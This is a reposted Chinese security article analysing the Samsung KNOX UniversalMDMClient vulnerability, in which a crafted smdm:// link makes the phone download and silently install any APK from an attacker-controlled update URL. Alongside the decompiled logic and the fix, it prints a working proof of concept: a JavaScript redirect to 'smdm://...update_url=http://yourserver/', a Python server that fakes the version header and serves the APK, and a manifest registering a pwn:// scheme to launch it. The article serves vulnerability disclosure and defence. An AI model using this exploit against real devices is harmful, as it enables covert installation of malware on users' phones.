三星KNOX远程静默安装漏洞深入分析报告

漏洞来源

11月中旬,三星手机被国外安全研究人员曝光了一个严重的安全漏洞,该漏洞影响Galaxy S5,S4,S4 mini,Note 4,Note3以及Ace 4等支持knox的全线三星手机,部分GalaxyS5和 Note 4已修复。

漏洞危害

利用该漏洞,远程攻击者可以精心构造一个恶意网页,欺骗用户更新手机系统,当用户更新系统后,用户手机上会被安装任意的恶意应用。

下面附上漏洞演示视频:

【请点击最下方的“阅读原文”】

视频地址: http://v.youku.com/v_show/id_XODY0MjA3NzQ4.html

漏洞原因

经研究是系统应用UniversalMDMClient 不安全的更新机制实现导致的,该应用与samsung KNOX 安全解决方案相关。这个系统应用里使用了自定义的scheme:smdm,通过这个scheme可以触发应用更新。但是三星却没有做自升级包名校验机制等,导致可以在更新过程安装任意应用。

漏洞修复

官方的修复方案也很简单,就是在自升级时校验了包名。

在android中,包名是唯一的标示,一个android系统里不能同时存在两个包名完全一样的应用。当两个相同包名的应用签名不一样不会导致覆盖安装,这样就可以避免在应用自升级时被中间人攻击,替换为恶意的应用。

我们测试了市场上的应用,发现90%的应用都没有使用自升级校验包名的机制,希望可以吸取三星的教训,开发出更加安全,更加健壮的app。

详细分析

首先我们把这个漏洞应用拉出来进行分析,看下应用是如何处理这个smdm协议的。

命令:adb pull /system/app/UniversalMDMClient.apk /home/XXX/Desktop/(不需要root权限)

反编译后发现AndroidManifest.xml文件中有这么一个activity:

这个activity的intent-filter里定义了一个scheme:smdm,并且category是android.intent.category.BROWSABLE。所以当应用接受到smdm协议的url时,该activity会被唤醒进行处理。那么这个activity是如何处理的呢?看下这个activity的相关代码。定位到程序执行入口onCreate()方法。

可以看到这个函数首先调用了V方法。V方法的实现如下:

public static String v(Context arg3) {
returnarg3.getSharedPreferences("PreETag",0).getString("PreETag", null);
    }

很明显程序会去检查本地sharedPreference(这个一般存在于应用数据目录,这里是/data/data/com.sec.enterprise.knox.cloudmdm.smdms/shared_prefs/)里是否有PreETag.xml,如果有返回PreEtag的值。然后继续看onCreate()方法,这里会判断PreEtag是否存在,如果存在就调用finish()方法结束执行。默认情况PreETag.xml这个文件不存在。

接下来会获取intent里的数据,而这个intent的格式就是intent-filter里定义的scheme格式:smdm://。Intent里包含的数据有:seg_url, update_url, email, mdm_token,program和quickstart_url,这些数据是以键值对形式存在的。然后是关于seg_url和program的处理。

接下来LaunchActivity.a(this.getApplicationContext(),v1, v2, v3, v4, v5, v6, v7);定位a方法,实现如下:

这段代码就是把从intent里获取的这些参数存入sharedpreference里,对应本地应用目录下的LaunchParameters.xml文件。

接着程序会获取两个值Current Program和Launch Program,如果Current Program为null或者Current Program和Launch Program值相等,说明这个activity是首次运行,不做处理。否则会调用CloudMdmEnrollmentActivity进行处理,这个activity是mdm注册相关的界面。与漏洞关系不大,不做详细分析。接着会有个检测更新的对话框,是不能取消的,this.wY.setCancelable(false);Core.fl().fq()方法的实现如下,

这段代码负责检查当前是否正在进行更新,如果没有,则调用Core.ph.a(new Core$1(this));这段代码实现如下:

这段代码混淆比较厉害,单从名字无法猜出大概意思,需要跟入几个函数才可以理清。这段代码会检查数据连接,如果有更新在进行则做删除处理,然后从sharedpreference文件m.xml里获取更新地址,并且会在这个地址后加上/latest。而m.xml里获取的更新地址就是上面从intent里获取的udpdate_url,所以这个地址可以由攻击者控制。

this.h(a.qX, "umc.apk");跟进去,代码实现如下:

这里会向攻击者控制的URL发送HEAD HTTP请求,请求的不同状态会有a$1类来处理。这个类的实现代码如下:

当然这里最重要的就是onSuccess()方法了,它会检查header中的ETag、Content-Length和x-amz-meta-apk-version。header中的x-amz-meta-apk-version值会与当前UniversalMDMApplication APK包的版本进行比较。如果header中的x-amz-meta-apk-version版本号大于当前的APK版本,v0就会被置为1,即需要更新。此时用户手机会弹框提示有新更新,如果用户点击了确定,就会发送一个get请求,获取apk更新地址等,接着会调用com.sec.enterprise.knox.cloudmdm.smdms.install.a类里的onSuccess()方法。

继续跟入fX()和fY()方法.我用jeb反编译的这里fX方法是空,fY方法实现如下:

很明显更新线程开启了。

更新线程又会调用执行installApk(),而installApk()又会调用_installApplication()_installApplication()的功能就是禁止包验证 (防止Google扫描APK)安装APK之后再重新开启包验证。混淆比较厉害,需要跟几个函数,此处不再贴代码。

以上是整个客户端处理逻辑。下载的APK既没有经过验证,也没有向用户展示请求的权限。因此这个漏洞能够被攻击者用来安装任意恶意程序。

现实世界的真实攻击

首先我们验证了这个漏洞的整个流程,测试环境:Galaxy S4 GT-9508,android 4.4.2系统。

poc原理很简单:

用python(或者其他语言)写一个server,用来响应客户端的请求和提供恶意apk。当被攻击者访问攻击者的url更新时,特定格式scheme(smdm://meow?update_url=http://youserver)会触发漏洞应用进行解析处理,最终会被下载安装服务器指定的任意应用。

Poc: 
<script>
function trigger(){
document.location="smdm://meow?update_url=http://yourserver/";
  }
setTimeout(trigger, 5000);
</script>

Python版POC代码:

import hashlib
fromBaseHTTPServer importBaseHTTPRequestHandler
APK_FILE = "toutiao.apk"
APK_DATA =open(APK_FILE,"rb").read()
APK_SIZE = str(len(APK_DATA))
APK_HASH =hashlib.md5(APK_DATA).hexdigest()
poc ='''
<script>
varloc =window.location.href.replace(/[/.]$/g, '');
alert('smdm://poc?update_url='+encodeURIComponent(loc)+'/test.apk')
top.location ='smdm://poc?update_url='+encodeURIComponent(loc)+'/test.apk';
</script>
'''
classMyHandler(BaseHTTPRequestHandler):
defdo_GET(self):
ifself.path.find('latest') >0:
self.send_response(200)
self.send_header("Content-Length",APK_SIZE)
self.send_header("ETag",APK_HASH)
self.send_header("x-amz-meta-apk-version","1337")
self.end_headers()
self.wfile.write(APK_DATA)
else:
self.send_response(200,'OK')
self.send_header('Content-type', 'html')
self.end_headers()
self.wfile.write(poc)
return
defdo_HEAD(self):
self.send_response(200)
self.send_header("Content-Length",APK_SIZE)
self.send_header("ETag",APK_HASH)
self.send_header("x-amz-meta-apk-version","1337")
self.end_headers()
return
if __name__ == "__main__":
fromBaseHTTPServer import HTTPServer
server = HTTPServer(('0.0.0.0',8080),MyHandler)
server.serve_forever()

现实世界的攻击中,恶意应用被安装后还需要被启动才能触发恶意代码,实现其他深入攻击。如果浏览器支持Intent SchemeURI,一般会分三个步骤进行处理:

1.利用Intent.parseUri解析uri,获取原始的intent对象;
2.对intent对象设置过滤规则,不同的浏览器有不同的策略
3.通过Context.startActivityIfNeeded或者Context.startActivity发送intent;

这样恶意应用就会被启动,触发恶意代码。国外著名的渗透测试框架Metasploit的漏洞利用脚本,实现了这个过程,目前针对这种意图协议漏洞,360捉虫猎手(appscan.360.cn)可以直接检测,应用开发者可以自查自己的APP是否存在这样的安全隐患。

而另外一种启动恶意代码的方式是通过APP注册一个第三方协议,通过第三方协议启动恶意程序,目前著名的移动渗透测试框架Drozer的漏洞利用脚本已经实现了这一过程:

<activity
           android:name="com.mwr.dz.PwnActivity">
           <intent-filter>
               <actionandroid:name="android.intent.action.VIEW" /> 
               <categoryandroid:name="android.intent.category.DEFAULT" /> 
               <categoryandroid:name="android.intent.category.BROWSABLE" /> 
               <data android:scheme="pwn" /> 
           </intent-filter>
       </activity>

在APK的mainfest配置文件中在系统中注册一个PWN的第三方协议,漏洞利用网页只要嵌入类似pwn://协议的地址就可以唤起恶意程序。

官方补丁

如果你的设备还有漏洞,你可以等三星的补丁,也可以自己修复。修复补丁不需要root权限,只需点击这个链接:

smdm://patch/

实际上点击这个链接时,漏洞程序会启动,但是没有指定的更新URL,它会使用默认的三星UMC(Universal MDM Client)服务器http://umc-cdn.secb2b.com:80,这个服务器上有最新版本的UniversalMDMClient.apk。

原帖地址:http://weibo.com/p/1001603795307522607248

[本文作者/0xr0ot@360捉虫猎手(360安全卫士代发)转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)]

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2015-01-05

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏从零开始学自动化测试

appium+python自动化36-android7.0连不上的问题

前言 由于最近很多android手机升级到7.0系统了,有些小伙伴的appium版本用的还是1.4版本,在运行android7.0的app自动化时候遇到无法启动...

48180
来自专栏七夜安全博客

What!!! so fast

不要以为我是标题党,真的是so fast。。。最近有个小项目的需要,使用golang写了个端口扫描工具,不得不说golang的效率确实比python快的太多了。...

10220
来自专栏信安之路

Window 提权基础

再加上个人的理解写出的关于 Windows 提权基础的文章,其中有些地方因为不太实用所以做了适当修改,感谢 @hl0rey 的帮助和建议。

29900
来自专栏IT技术精选文摘

Redis配置模板及持久化解决方案

本文根据贵金属使用Redis的经验,整理了Redis服务端配置模板、哨兵配置模板、监控项部署、持久化解决方案、Jedis客户端连接池配置说明,旨在减少大家在使用...

34030
来自专栏互扯程序

Linux常用Shell脚本,值得学习及收藏

在运维中,尤其是linux运维,都知道脚本的重要性,脚本会让我们的 运维事半功倍,所以学会写脚本是我们每个linux运维必须学会的一门功课,这里收藏linux运...

28210
来自专栏张高兴的博客

张高兴的 UWP 开发笔记:应用内启动应用 (UWP Launch UWP)

37190
来自专栏圣杰的专栏

IdentityServer4 知多少

现在的应用开发层出不穷,基于浏览器的网页应用,基于微信的公众号、小程序,基于IOS、Android的App,基于Windows系统的桌面应用和UWP应用等等,这...

32220
来自专栏贾鹏辉的技术专栏@CrazyCodeBoy

React Native发布APP之签名打包APK

React Native发布APP之签名打包APK ---- 用React Native开发好APP之后,如何将APP发布以供用户使用呢?一款APP的发布流程...

30450
来自专栏知识分享

ESP8266使用详解--基于Lua脚本语言ESP8266刷AT固件与nodemcu固件轻松使用8266

这些天,,,,今天终于看到了希望,,,天道酬勤 先说实现的功能...让ESP8266连接无线网,然后让它建立服务器,,我的客户端连接上以后,发给客户端发数据模块...

4.8K50
来自专栏月色的自留地

新麦装机问题汇

14730

扫码关注云+社区

领取腾讯云代金券